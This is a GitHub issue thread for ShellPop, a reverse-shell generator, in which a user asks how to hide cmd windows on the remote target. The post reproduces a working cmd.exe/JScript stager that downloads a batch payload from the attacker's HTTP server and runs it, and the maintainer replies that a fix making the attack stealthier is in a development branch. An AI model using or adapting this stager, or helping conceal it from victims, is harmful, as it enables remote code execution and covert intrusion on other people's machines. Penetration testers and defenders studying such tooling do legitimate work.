search

0x00-0x00 / ShellPop

Pop shells like a master.
MIT License
1.44k stars 235 forks source link

Hide cmd windows on remote target #22

Closed xajyvi closed 6 years ago

xajyvi commented 6 years ago

Hello, how can we hide all of the cmd windows that popup when executing the below cmd.exe command?

$ shellpop --reverse --number 21 --host 192.168.1.55 --handler --base64 --powershell-random-case --stager http --http-port 2226 --port 3336
[+] Choose a stager: 
1. CertUtil Windows HTTP Stager
2. VBScript Windows HTTP Stager
[+] Stager number: 2

[+] Started HTTP server at port 2226
[+] Staged file has been named 'SkHEjSdH'
[+] Execute this code in remote target: 

cmd.exe /c "echo var H = new ActiveXObject("WinHttp.WinHttpRequest.5.1");H.Open("GET", "http://192.168.1.55:2226/SkHEjSdH", /*async=*/false);H.Send();B = new ActiveXObject("ADODB.Stream");B.Type = 1;B.Open();B.Write(H.ResponseBody);B.SaveToFile("SkHEjSdH.bat");S = new ActiveXObject("Wscript.Shell");S.run("SkHEjSdH.bat");" > SkHEjSdH.js && cmd.exe /c "cscript SkHEjSdH.js"
xajyvi commented 6 years ago

@0x00-0x00

0x00-0x00 commented 6 years ago

Sure, I'll note it in my to-do list. As soon I develop something about this, I will share it here.

Thanks for taking your time and suggesting enhancements to our project!

0x00-0x00 commented 6 years ago

Hey friend, I am here to tell you that I have fixed that issue with this stager method. It is not yet implemented in master branch, as 0.3.6 is not yet completed. But you can clone my "zc00l-dev" branch if you want. It has all new functionality, including your issue fix!

image

0x00-0x00 commented 6 years ago

@xajyvi